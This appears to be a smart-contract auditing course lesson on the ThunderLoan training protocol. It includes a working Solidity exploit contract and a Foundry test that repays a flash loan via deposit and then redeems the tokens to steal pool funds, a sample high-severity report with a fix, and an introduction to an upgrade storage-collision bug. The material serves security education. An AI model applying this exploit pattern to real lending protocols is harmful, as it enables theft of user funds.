_Follow along with the video lesson:_ --- ### Exploit - Deposit Instead of Repay Welcome back! I'm excited to keep going because _spoiler_ - we have **_two more bugs_** to address and they're really cool. Stay with me, we're almost through with this section. Now, something we noticed when creating our last PoC was that the repay function wasn't letting us, we were locked out because of the s_currentlyFlashLoaning mapping. We got around this by simply calling transfer to the flash loan contract. This was convenient .. and interesting. **_Is there any way this could be exploited?_** Let's consider the available methods in ThunderLoan. An easy way to do this would be ```bash forge inspect ThunderLoan methods ``` We should receive an output like this: ```bash { "UPGRADE_INTERFACE_VERSION()": "ad3cb1cc", "deposit(address,uint256)": "47e7ef24", "flashloan(address,address,uint256,bytes)": "63ad2c41", "getAssetFromToken(address)": "46638b10", "getCalculatedFee(address,uint256)": "2d85a7db", "getFee()": "ced72f87", "getFeePrecision()": "2537d324", "getPoolFactoryAddress()": "8f3443cb", "getPrice(address)": "41976e09", "getPriceInWeth(address)": "70a1ed89", "initialize(address)": "c4d66de8", "isAllowedToken(address)": "cbe230c3", "isCurrentlyFlashLoaning(address)": "396ecd78", "owner()": "8da5cb5b", "proxiableUUID()": "52d1902d", "redeem(address,uint256)": "1e9a6950", "renounceOwnership()": "715018a6", "repay(address,uint256)": "22867d78", "s_tokenToAssetToken(address)": "67ebd738", "setAllowedToken(address,bool)": "8aaa2284", "transferOwnership(address)": "f2fde38b", "updateFlashLoanFee(uint256)": "d8566874", "upgradeToAndCall(address,bytes)": "4f1ef286" } ``` By assessing these methods at a high-level like this, we should be able to pick out which would be responsible for adding and removing funds from the protocol. We know functions like flashloan and repay affect funds, but are there any others? The deposit and redeem functions seem like likely candidates. Let's look at deposit again. ```js function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); uint256 calculatedFee = getCalculatedFee(token, amount); assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` We should recall from previous lessons that the flashloan function's check, to determine if the loan has been repaid, is only checking the balance of the AssetToken contract to verify this. What happens if we just call deposit during our flashloan execution? If I deposit the tokens, I should be able to redeem them later. This could cause some serious issues in ThunderLoan! Let's write a proof of code to confirm our suspicions. ### Repayment Backdoor Moving back to ThunderLoanTest.t.sol, we can add a test to our suite to see how ThunderLoan reacts if a flashloan is repaid with the deposit function. We know that the flash loan receiver needs to be a smart contract, because of this we'll need to set up a simple malicious contract with our `deposit instead of repay` login in its executeOperation function. Stripped down, it should look something like this: ```js contract DepositOverRepay is IFlashLoanReceiver { ThunderLoan thunderLoan; AssetToken assetToken; IERC20 s_token; constructor(address _tswapPool, address _thunderLoan, address _repayAddress) { thunderLoan = ThunderLoan(_thunderLoan); } function executeOperation( address token, uint256 amount, uint256 fee, address, /*initiator*/ bytes calldata /*params*/ ) external returns (bool) { return true; } } ``` For this attack to work we need to deposit the funds we've borrowed back into ThunderLoan (as well as the expected fee). This, if we're right, will clear the flash loan and allow us to redeem the amount of the loan, stealing the funds permanently! ```js function executeOperation( address token, uint256 amount, uint256 fee, address, /*initiator*/ bytes calldata /*params*/ ) external returns (bool) { s_token = IERC20(token); assetToken = thunderLoan.getAssetFromToken(IERC20(token)); s_token.approve(address(thunderLoan), amount + fee); thunderLoan.deposit(IERC20(token), amount + fee); return true; } ``` All our test should need to do, is call flashloan, passing our malicious contract as the flash loan receiver, and then illustrate that the attacker can redeem the funds. We can begin by creating a function within `DepositOverRepay` for our attacker to call that executes the `redeem` function in `ThunderLoan`. ```js function redeemMoney() public { uint256 amount = assetToken.balanceOf(address(this)); thunderLoan.redeem(s_token, amount); } ``` Now we can set up our test. ```js function testUseDepositInsteadOfRepayToStealFunds() public setAllowedToken hasDeposits { uint256 amountToBorrow = 50e18; DepositOverRepay dor = new DepositOverRepay(address(thunderLoan)); uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow); vm.startPrank(user); tokenA.mint(address(dor), fee); thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, ""); dor.redeemMoney(); vm.stopPrank(); assert(tokenA.balanceOf(address(dor)) > fee); } ``` Here we're setting an `amountToBorrow` and deploying our malicious contract. We then calculate the `fee` and mint this to our malicious contract and call `flashloan`. Once the `flash loan` has been executed, we have the user call `redeemMoney` and assert that the `DepositOverRepay` contract's balance is higher than it started. ::image{src='/security-section-6/42-exploit-deposit-instead-of-repay/exploit-deposit-instead-of-repay1.png' style='width: 100%; height: auto;'} WOOOOOOOOOOOOOOOO! We did it! Our test is showing that the `DepositOverRepay` contract is able to `redeem` the tokens they deposited into `ThunderLoan`, stealing them! This is definitely a `high severity` finding. And it was easier to find than our previous medium - that's the way of things sometimes. The severity of a bug doesn't correlate to the difficulty of finding it. I'm not going to walk through writing the report for this finding here - I challenge you to do so yourself. I've provided my example below and I want you to compare what you write to mine. Challenge yourself not to peek until you've attempted the whole report - we've already done the PoC. <details> <summary>[H-3] By calling a flashloan and then ThunderLoan::deposit instead of ThunderLoan::repay users can steal all funds from the protocol</summary> ### [H-3] By calling a flashloan and then ThunderLoan::deposit instead of ThunderLoan::repay users can steal all funds from the protocol **Description:** By calling the deposit function to repay a loan, an attacker can meet the flashloan's repayment check, while being allowed to later redeem their deposited tokens, stealing the loan funds. **Impact:** This exploit drains the liquidity pool for the flash loaned token, breaking internal accounting and stealing all funds. **Proof of Concept:** 1. Attacker executes a `flashloan` 2. Borrowed funds are deposited into `ThunderLoan` via a malicious contract's `executeOperation` function 3. `Flashloan` check passes due to check vs starting AssetToken Balance being equal to the post deposit amount 4. Attacker is able to call `redeem` on `ThunderLoan` to withdraw the deposited tokens after the flash loan as resolved. Add the following to ThunderLoanTest.t.sol and run `forge test --mt testUseDepositInsteadOfRepayToStealFunds` <details> <summary>Proof of Code</summary> ```js function testUseDepositInsteadOfRepayToStealFunds() public setAllowedToken hasDeposits { uint256 amountToBorrow = 50e18; DepositOverRepay dor = new DepositOverRepay(address(thunderLoan)); uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow); vm.startPrank(user); tokenA.mint(address(dor), fee); thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, ""); dor.redeemMoney(); vm.stopPrank(); assert(tokenA.balanceOf(address(dor)) > fee); } contract DepositOverRepay is IFlashLoanReceiver { ThunderLoan thunderLoan; AssetToken assetToken; IERC20 s_token; constructor(address _thunderLoan) { thunderLoan = ThunderLoan(_thunderLoan); } function executeOperation( address token, uint256 amount, uint256 fee, address, /*initiator*/ bytes calldata /*params*/ ) external returns (bool) { s_token = IERC20(token); assetToken = thunderLoan.getAssetFromToken(IERC20(token)); s_token.approve(address(thunderLoan), amount + fee); thunderLoan.deposit(IERC20(token), amount + fee); return true; } function redeemMoney() public { uint256 amount = assetToken.balanceOf(address(this)); thunderLoan.redeem(s_token, amount); } } ``` </details> **Recommended Mitigation:** ThunderLoan could prevent deposits while an AssetToken is currently flash loaning. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { + if (s_currentlyFlashLoaning[token]) { + revert ThunderLoan__CurrentlyFlashLoaning(); + } AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); uint256 calculatedFee = getCalculatedFee(token, amount); assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` </details> We've thoroughly gone though ThunderLoan.sol now, and while you can always look at one more line of code and always further scrutinize - we're going to move on. ::image{src='/security-section-6/42-exploit-deposit-instead-of-repay/exploit-deposit-instead-of-repay2.png' style='width: 100%; height: auto;'} ### ThunderLoanUpgradeable.sol Last, but not least, we come to ThunderLoanUpgradeable.sol. We could absolutely go through this contract line-by-line, but we _know_ most of this is going to match the ThunderLoan.sol contract we just reviewed. There's got to be a better way, and there is! We've used `diff` in our markdowns before, but most unix based systems have a diff command that allows you to compare differences between two files. Enter this in your terminal to see the comparison: ```bash diff ./src/protocol/ThunderLoan.sol ./src/upgradedProtocol/ThunderLoanUpgraded.sol ``` **Note:** You may want to acquire a fresh copy of the Thunderloan repo to avoid seeing all of our comments in this output! ```bash 67c67 < import { AssetToken } from "./AssetToken.sol"; --- > import { AssetToken } from "../protocol/AssetToken.sol"; 73c73 < import { OracleUpgradeable } from "./OracleUpgradeable.sol"; --- > import { OracleUpgradeable } from "../protocol/OracleUpgradeable.sol"; 77c77 < contract ThunderLoan is Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable { --- > contract ThunderLoanUpgraded is Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable { 97d96 < uint256 private s_feePrecision; 98a98 > uint256 public constant FEE_PRECISION = 1e18; 144d143 < s_feePrecision = 1e18; 154,157c153,154 < < // uint256 calculatedFee = getCalculatedFee(token, amount); < // assetToken.updateExchangeRate(calculatedFee); < --- > uint256 calculatedFee = getCalculatedFee(token, amount); > assetToken.updateExchangeRate(calculatedFee); 261,262c258,261 < uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; < fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision; --- > //slither-disable-next-line divide-before-multiply > uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / FEE_PRECISION; > //slither-disable-next-line divide-before-multiply > fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION; 266c265 < if (newFee > s_feePrecision) { --- > if (newFee > FEE_PRECISION) { 286,289d284 < } < < function getFeePrecision() external view returns (uint256) { < return s_feePrecision; ``` Eww. This doesn't _look_ great, but it'll allow us to go through each change and determine which are significant. ``` < - line as it exists in the left file (ThunderLoan.sol) > - line as it exists in the right file (ThunderLoanUpgraded.sol) ``` The first few changes we can see are pretty innocuous. We have a few imports which have their naming conventions changed, we also see the contract being given a different name. Eventually we see: ```bash 97d96 < uint256 private s_feePrecision; 98a98 > uint256 public constant FEE_PRECISION = 1e18; 144d143 < s_feePrecision = 1e18; ``` This was one of our findings! We can see that the protocol is changing from a storage variable that's initialized to a constant! From there all we really see from this `diff` is that the storage variable is being swapped out for the new constant and a getter function is being added. There aren't many changes to this at all! We can directly compare these state variable declarations now to see these changes. ThunderLoan.sol: ```js uint256 private s_feePrecision; uint256 private s_flashLoanFee; // 0.3% ETH fee ``` ThunderLoanUpgraded.sol: ```js uint256 private s_flashLoanFee; // 0.3% ETH fee uint256 public constant FEE_PRECISION = 1e18; ``` Can you spot the issue? This is a vulnerability in Thunder Loan, but it's one you may not see immediately, spotting things like this comes with experience. **Hint:** ThunderLoan is upgradeable. Consider how storage behaves in proxy scenarios. ### Exploit: Storage Collision This situation is known as a storage collision issue. By changing the order of state variables in the contract we are altering the storage slots to which these variables are assigned. This has dire impacts when proxies are involved! Let's take a look at the storage layouts of each of these contracts. Foundry has a convenient command we can leverage for this. ```bash forge inspect ThunderLoan storage ``` This will provide a print out of all the storage allocations for the ThunderLoan contract, by scrolling through these we can identify the variables in question. ```bash { "astId": 46473, "contract": "src/protocol/ThunderLoan.sol:ThunderLoan", "label": "s_feePrecision", "offset": 0, "slot": "2", "type": "t_uint256" }, { "astId": 46475, "contract": "src/protocol/ThunderLoan.sol:ThunderLoan", "label": "s_flashLoanFee", "offset": 0, "slot": "3", "type": "t_uint256" }, ``` We can clearly see that `s_feePrecision` is assigned to `slot 2`, while `s_flashLoanFee` is assigned `slot 3`. By changing s_feePrecision to a constant, we actually remove this variable from storage. So if we run `forge inspect ThunderLoanUpgraded storage`, we can compare the output. ```bash { "astId": 47231, "contract": "src/upgradedProtocol/ThunderLoanUpgraded.sol:ThunderLoanUpgraded", "label": "s_tokenToAssetToken", "offset": 0, "slot": "1", "type": "t_mapping(t_contract(IERC20)45279,t_contract(AssetToken)46319)" }, { "astId": 47233, "contract": "src/upgradedProtocol/ThunderLoanUpgraded.sol:ThunderLoanUpgraded", "label": "s_flashLoanFee", "offset": 0, "slot": "2", "type": "t_uint256" } ``` Because our constant no longer exists in storage, `s_flashLoanFee` has been bumped into storage `slot 2`! This is _not_ what our proxy is expecting and is going to result in **storage collision** Let's take a closer look at `storage collision` and how it affects a protocol in the next lesson!